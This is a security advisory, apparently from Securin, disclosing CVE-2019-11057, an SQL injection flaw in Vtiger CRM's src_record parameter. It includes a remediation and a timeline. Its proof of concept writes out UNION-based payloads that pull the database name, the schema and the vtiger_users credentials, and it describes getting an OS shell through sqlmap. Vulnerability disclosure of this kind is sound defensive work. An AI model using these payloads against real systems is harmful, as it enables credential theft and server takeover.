SQL Injection (SQLi) is a type of injection attack that makes it possible to execute malicious SQL statements. These statements control a database server behind a web application.
Securin Zero-Days
CVE-2019-11057 – SQL Injection in Vtiger CRM
Severity:High
Vendor
Vtiger
Affected Product
Vtiger CRM
CVE
CVE-2019-11057
Securin ID
2019-CSW-10-25
Status
Fixed
Date
April 3, 2019
Description
Proof of Concept (POC):
Figure1: Testing if the src_record parameter is vulnerable to SQLi with a single quotation mark(‘).
Note: The figure shows that the query was unsuccessful, and the length of the response is 9,690 bytes. SQL Injection
Figure2: Testing if the src_record parameter is vulnerable to SQLi with 2 single quotation marks (‘’).
Note: The figure shows that the query was successful, and the length of response is 10,957 bytes verifying that the parameter is vulnerable to SQL injection.
Figure3: Checking the version of the SQL database by exploiting SQLi.
Query Used: “-3096 union select 100′ UNION ALL SELECT version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL— IJXL ”
Figure 4: Finding the name of the current database.
Query Used: “-3096 union select 100′ UNION ALL SELECT database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL—IJXL”
Figure 5: Finding tables in the current database.
Query Used: “-3096 union select 100′ UNION ALL SELECT group_concat(table_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.tables where table_schema=database()—IJXL”
Figure 6: Finding names of columns in the vtiger_users table.
Query Used: “-3096 union select 100′ UNION ALL SELECT group_concat(column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.columns where table_name=”vtiger_users”– IJXL”
Figure 7: Extracting data from the vtiger_users table.
Query Used:” -3096 union select 100′ UNION ALL SELECTgroup_concat(id,0x3a,user_name,0x3a,user_password,0x3a,first_name),NULL,NULL,NULL,NULL,NULL, NULL,NULL from vtiger_users– IJXL”
Figure 8: Checking if the current user is a database administrator with sqlmap.
Figure 9: Gaining shell and running OS-level commands using –os-shell switch in sqlmap.
Impact
Depending on the backend database, the database connection settings, and the operating system, an attacker can mount one or more of the following type of attacks successfully:
• Reading, updating and deleting arbitrary data/tables from the database
• Executing commands on the underlying operating system
Remediations
Use prepared statements with parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Please refer the OWASP SQL Injection Prevention Cheat Sheet for more information on how to fix SQL injection at https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Che at_Sheet.md
Timeline
Mar 20, 2019: Vulnerability Discovered in Vtiger CRM
Apr 03, 2019: Vendor Released Fix
Apr 09, 2019: CVE Assigned